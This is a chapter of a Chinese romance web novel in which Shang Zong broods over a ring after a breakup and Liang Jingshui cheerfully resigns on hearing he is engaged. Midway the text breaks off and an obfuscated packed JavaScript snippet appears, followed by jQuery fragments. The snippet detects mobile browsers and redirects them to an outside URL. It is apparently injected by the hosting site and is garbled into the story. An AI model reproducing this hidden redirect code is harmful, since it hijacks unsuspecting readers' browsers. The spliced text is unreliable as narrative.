36、旧幻想24

作品:《维港森林

    商宗感觉自己好像回到了二十出头的时候,会因为一些身外之事影响工作状态。后来干脆把硬盒扔到抽屉里,眼不见为净。


    银行对面的广告屏上放映着秋冬新装的宣传,模特是本应佩戴这枚戒指的主人。


    稍一侧头,余光便充斥着她的笑脸。红格纹裙上的针织毛球随着旋转的动作一跳一跳,飞起,落下。女模眉眼含韵,飞吻送出。


    商宗捏了捏鼻根,仰靠在老板椅上,喉结在昼光中微微隆起。


    郭璟佑送文件进来时,视野中的纵深感顿时消失——窗外的女模甜美妩媚,商宗则坐在桌前,整张脸垮得毫无生气。让他现编一个歇后语,简直像宁采臣被树妖姥姥榨干了精血。


    他了然地挑挑眉:"咐郁闷,宗哥又想我嫂子啦?"商宗懒得理他,桌面上的按钮按不同功能划分,修长的手指摁下一个,窗帘缓缓向内合拢。


    "怎么回事啊宗哥?"


    这种罕见机会郭璟佑不会错过,一只手把文件拍到桃木办公桌上。他看着昏暗中脸色临晦不明的男人,腕心撑桌大无畏道:“你让我叫她嫂子,但她现在和卓霖哥有关系,成了你的侄娘,我你咪都要叫


    嫂子?这样辈分不是乱了咩?"


    商宗耸拉着眼皮,不耐看他:“她什么时候说过和商卓霖有关系?你倒是给我说说看。”“原来不紧要啊,我搞错了,”郭璟佑佯装无害,“所以你不介意嫂子接受商卓霖的戒指咯?”商宗向来对自己人宽容,但这次,他直勾勾地盯着郭璟佑,眼中似有风暴酝酿,叫他滚。郭璟佑耸了耸肩:“我早就说过,梁惊水来香港就是为了害你的。宗哥,你钟意呢种女人,你一定死定了。”


    房门轻轻关上,室内再次陷入静谧,刺眼的阳光从窗帘缝隙中透射进来。商宗没有动弹,目光低垂,通过地板光线颜色的变化,他大概能猜出剧情已经进行到哪个部分。


    转身,跃起,展示服装细节……


    wink,飞吻。


    画面中的女模嘴唇涂着亮色唇釉,轻轻鼓起,像两瓣玫瑰色的橘子肉。


    商宗眯了眯眼睛,回忆起每次撬开深入,那种柔软又带着湿润的触感,让他不禁侧颈,忘我地吮食甜蜜。


    那份甜蜜成为了过去时。


    因为“梁惊水”。


    商宗不希望第一次叫她的本名,是在那种场合下。


    圣诞节那天,他第一次见识到什么叫“肉眼可见的红脸”。那不是害羞,而是情绪彻底失控,眼泪像泉水一样涌出。她没有发出一点声音,但他能听见她心底声嘶力竭的呼喊。


    外界的烟花声震耳欲聋,店长忙着指挥帅哥技师们撤离。


    梁惊水屹立不动,在混乱中开口:“你果然在瞒我,商卓霖说得对,你从一开始就知道我是梁徽的女儿………”


    “我不否认。”也无法辩驳。


    商宗站起来,想去拉她的手,却被不留痕迹侧肩躲开。梁惊水快步躲到了大厅的金牛后面,转身背对他。


    说来也妙,这家养生会所的招牌叫“牛骨道养生”。


    据说老板属牛,娶了小轮的同样属牛的媳妇,后面就发横财了。他相信牛能带来好运,在大厅中央设计了一个镀金牛的雕像,雕像周围五米范围内种满了富贵竹,十分契合“老牛吃懒草”的寓意。


    商宗才不想管面子问题,两条长腿迈向金牛雕像那边。他老牛吃嫩草是事实,他喜欢这姑娘也是事实,没什么不敢认的。


    结果梁惊水和他玩起了秦王绕柱一招,双手抱胸,背挺得笔直,腰部躲闪时的柔韧度堪比芭蕾舞演员,精准地躲开他伸出的手。


    女人和猫一样,都是液体做的。


    特别是生气的时候,常常以后脑勺示人,但也不难想象她此刻的表情。估摸是眉压眼,撅嘴唇,鼻子有几道浅浅的皱痕。


    这家综合性的养生会所有一个小型的自助餐区,身穿浴袍的顾客在此进进出出,如今却空荡荡的。商宗看见她扎起一块甜瓜,牙齿带着暴力的力量咬破果肉,吃得毫无形象。他明白,那片果肉在代他受刑。


    "为什么我会感到痛苦呢?"梁惊水没忍住,举着西瓜皮嗤笑出声。


    商宗总是知道她在想什么,稍稍反应了几秒,开口说:“大陆那阵生活已经够难,你当初遇到我,以为可以当止痛药,后来药效不够,伤口还在。”


    他拉她手腕:“所以这话在告诉我——你想分开了,对吗?”


    那一晚,梁惊水没有继续表现情绪化,静静看着他,眼神很干净,像是要把他的轮廓完整记在心里。


    “我们这种情况,再努力也是做无用功,你不累吗?”她这么问。


    并非直接说分手,也不是单纯的好人卡。这姑娘在陈述事实,列举他们无法在一起的客观原因。


    商宗静默了很久,绞尽脑汁、全力地想,好像也没什么必要的理由挽回她。支撑他们继续走下去的条件太过脆弱,几乎就剩爱而已。


    他想不出别的说辞:“我不觉得多累,但我尊重你的选择。”


    商宗很清楚,他无论如何都不想让事情走到这一步。在叫出梁惊水名字的那一瞬间,他已经下定决心,要带她看看那间被锁


    住的房间。这段关系本就不对等——他对她了如指掌,而她对他的世界知之甚少。


    加上近期潜藏的问题层层堆积,一点点累加,终于逼近临界值。


    他压抑,她内疚。他为家族的决策四处奔波,她日复一日忧虑自己是否成为了拖油瓶。


    如果可以,他很想纯粹地和梁惊水谈一次恋爱,但眼下局势太复杂,他自身都处于风雨飘摇之中,何况是护她无虞。


    商宗放弃查看财务指标,一手从抽屉里取出硬盒,揭开盖子。


    他垂目,眼神定格在里面的戒指上。


    白金打造的环圈细窄,中央镶嵌透明的水晶圆形,内里容纳了几颗自由移动的小钻石。


    上次从牛尾洲回来,他通过梁惊水无名指上的戒指位置,算出了她的指围。随后,他联系了在香港认识的珠宝设计师朋友,讨论戒指的风格、设计及宝石选择,经过多次草图修改,才终于达到他理想中


    的效果。


    朋友顶着黑眼圈向他展示“毕设”,苦笑道:"你要是没娶成那个女仔,你对不住我。"他当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798183|152053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时笑着告诉朋友,是否对得起,他说了不算,得看另一方怎么想。朋友拒收他的高额支票,表示这枚戒指是预定给二人的新婚礼物,希望它能派上用场。祝福比支票更昂贵,商宗当时没有解释,那枚戒指并不是求婚用的。


    他选择送戒指的理由很简单——在直升机上,当她靠着他的额头轻声说出那句话时,他只想着满足她的心愿。事后,随着荷尔蒙平稳,他这个一向谨慎的人,脑子里像树状图一样列出26个字母的Bad Ending,决定放弃冲动的念头。


    比起结果,他更想保住回忆。


    总比什么都没有强。


    商宗倾斜戒指,钻石在水晶的框架内轻轻摇动,就像自由流动的珍贵珠宝一般。在他心目中,梁惊水恰似那颗自由的、无可替代的珍稀宝贝。那些五颜六色的鸽子蛋不免落俗,衬不上她。


    雅俗共赏。


    她是例外。


    商宗重新敞开窗帘,那块时装广告被海港城元旦节庆的促销广告取而代之。


    他忽然意识到,除了街头的宣传广告和狗仔的偷拍,他从未真正拥有过一张与梁惊水的合照。哪怕是思念她时,也没有一个清晰的画面可以支撑那份情愫。


    12月31日,晴空万里,偶有轻微的风。


    梁惊水站在镜子前,整装待发。她低头跺了跺从蒲州带来的旧皮鞋,镜子里映出她朴素的打扮:


    一件灰色卫衣搭配牛仔裤,头发用橡皮筋扎成高马尾,看起来很稚嫩。


    公司里碰到张知樾,他惊愕地摘下墨镜,眼睛瞪得大大:“嘩,你穿的这是什么啊,太old-school了!”


    梁惊水心想着正好不用专门去办公室找他,从包里取出辞职信,递给对方:“Zack,你帮我看看我写的符不符合香港的格式吧。”张知樾先看到文件上的几个加粗黑字,信也不接了,嗓音突然提高了三个分贝,叽里呱啦说着她听不懂的香港俚语。接着,他伸出食指,左右晃了晃。


    “不行?”梁惊水回想几秒,皱眉说,“我确定我年前的行程都完成了,你之前说只要完成了就可以解约,不是吗?合同上也写得很清楚。”


    除了第一次见面还算正常,张知樾每天都drama得像茶话会皇后,打扮得花花绿绿来公司,说他旗下的模特和艺人都是他的孩子,一个都逃不掉红遍香港半边天的命运。"怎么办,好似瞒唔住啦。"


    尔时皇后的眉尾压到眼角,看起来要哭了,“你不能因为商先生订婚的事生气吧?说分就分了,这下我该怎么交代啊……”后半句声音轻得几乎听不清,但前半句关于“商宗订婚”的内容,她听得明明白白。


    沉默良久,梁惊水低下眼帘:“原来是这样。”她想着,情不自禁扬高唇线,对着张知樾由衷一笑:“好。”张知樾还没明白过来,眼睁睁看着她高举着辞职信转圈,心情好到飞起,竟然比他还要drama。梁惊水站在高楼上,眼望着熙熙攘攘的街道,深吸一口气,将所有的情绪凝聚在胸口。"太好了!2017年!我终于能安心回去当平民百姓喽——"


    太好了。


    这一次,她终于能彻底放下他了。